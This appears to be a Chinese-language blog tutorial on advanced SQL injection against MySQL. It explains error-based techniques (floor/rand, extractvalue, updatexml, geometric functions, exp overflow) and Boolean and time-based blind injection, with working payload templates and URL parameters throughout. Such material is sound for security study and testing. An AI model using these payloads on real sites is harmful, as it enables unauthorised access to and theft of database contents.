SQL注入进阶详解

请先阅读博客内的《SQL注入基础详解》文章,在对SQL注入有个基本的了解后,我在此文章中讲述SQL注入中针对特殊环境所用的其它注入方法。

报错注入

利用环境

如果网站关闭了回显,则我们的注入结果都不会返回到前端。但如果服务端能返回数据库错误信息,这时,我们可以人为制造数据库错误,让服务端返回错误信息,并带出敏感信息。

与报错注入相关的注入函数:

floor()
extractvalue()
updataxml()
geometrycollection()
multipoint()
polygon()
multipolygon()
linestring()
multilinestring()
exp()

floor()

错误:
主键重复

关键函数:

count(*),floor(),group by

注入模板:

UNION SELECT 1,count(*),group_concat(user(),0x20,version(),0x20,floor(rand(0)*2))x from information_schema.tables group by x#

要素分析:
floor()向下取整
rand()产生0至1的随机数
floor(rand(0)*2)记录需为3条以上,且3条以上必报错,返回值有规律的,如011011
count(*)是用来统计结果,相当于刷新一次结果
group by在对数据进行分组时会先看看虚拟表里面有没有这个值,没有的话就插入存在的话就count(*)加1,在使用group byfloor(rand(0)*2)会被执行一次,若虚拟表不存在记录,插入虚拟表时会再执行一次。
x是前面括号内容的别名,sql语句要求在查询结果的基础上再执行查询时,必须给定一个别名。

过程分析:
– 首先floor(rand(0)*2)由于确定性,所以语句每次执行都会报错
– MySQL在执行类似select count(*) from tables group by x;这类语句时会建立一个虚拟表。
– 取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这是第一条记录
– 查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)*2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕查询完毕
– 查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第四次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为1(第五次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了

其中的虚拟表是由count(*)group by产生的用来排序用的临时表。

带出的结果后面均带有1,需要手动去掉。

整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以数据表中至少要有3条数据,使用该语句才能触发报错。

参考资料:
https://www.cnblogs.com/xdans/p/5412468.html

extractvalue()&updatexml()

错误:
xpath语法错误

注入模板:

extractvalue(1,concat(0x5c,user()))  
updatexml(1,concat(0x5c,user()),1)  

要素分析:
extractvalue()对文档进行查询的函数,语法:extractvalue(目标xml文档,xml路径)
updatexml()对文档进行更新的函数,语法:updatexml(目标xml文档,xml路径,更新的内容)

原理分析:
这两个函数的第二个参数都是xpath,如果语句不符合要求则会报错,并且将查询结果放到报错信息里面。

geometrycollection()&multipoint()&polygon()&multipolygon()&linestring()&multilinestring()

错误:
几何函数

应用范围:
在版本号为5.5.47上可以用来注入,在5.7.17上则不行。

注入模板:

GeometryCollection((select * from (select * from(select user())a)b))  
polygon((select * from(select * from(select user())a)b))  
multipoint((select * from(select * from(select user())a)b))  
multilinestring((select * from(select * from(select user())a)b))  
LINESTRING((select * from(select * from(select user())a)b))  
multipolygon((select * from(select * from(select user())a)b))  

原理分析:
这些函数都是对空间几何值进行操作,当出现非法的非几何值就会报错,可以直接爆所在数据库名,表名。

exp()

错误:
数据溢出

应用范围:
MySQL版本>=5.5.5

注入模板:

Exp(~(select * from (select version())a))

要素分析:
exp()是以e为底的指数函数
BIGINT存储整型最大值为18446744073709551615
~反引号逐位取反,~0即为18446744073709551615
exp(709)往上会造成溢出
– MySQL子查询成功时会返回0,进行逻辑非运算可取1

原理分析:
– 当BIGINT最大值进行增值运算的时候,会爆出BIGINT value is out of range的错误,也就是溢出。
– 将0按位取反得最大值,与子查询进行逻辑非运算后的返回值进行增运算,若子查询成功则触发溢出报错

详细操作过程及原理分析:
http://vinc.top/?p=1023

基于布尔型注入

利用环境

网站没有任何返回信息,甚至关闭了报错信息。

与布尔型注入相关的函数:

left()
substr()
ascii()
length()

要素分析:
left(str,x)返回str的前x位
substr(str,start,length)返回从str的start位置截取length长度的字符串
ascii(str)返回str的ascii码
length(str)返回str的长度
limit x,y,x为起始位置,y为提取数量
IF(x=y,a,b),如果判断正确,返回a,否则返回b
sleep(x),休眠x秒

思路分析:
– 先用length()猜测目标的长度
– 根据目标长度对目标逐个字符进行对比猜测
– 使用不同方法区分返回值(布尔)

演示模板:
– 基于页面的布尔判断,比较网页返回结果

?id=1'and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=N#  //不断递增N直到返回正确
?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97#  
?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103#   //使用二分法猜测
  • 基于响应时间的布尔判断,比较响应时长(自己设置)的区别
?id=1'and IF(length(user())=5,sleep(5),1)#  //查询为真,系统休眠5秒,查询为假则直接返回  
?id=1'and IF(length(user())=5,benchmark(1000000,md5(aaaaaa)),1)#  //执行耗时任务,增长数据库响应时间  

二次注入

二次注入漏洞分析

结尾

仍然有很多未接触未了解的注入方式,期待后续更新。
文中引用,侵删。

发表评论

电子邮件地址不会被公开。 必填项已用*标注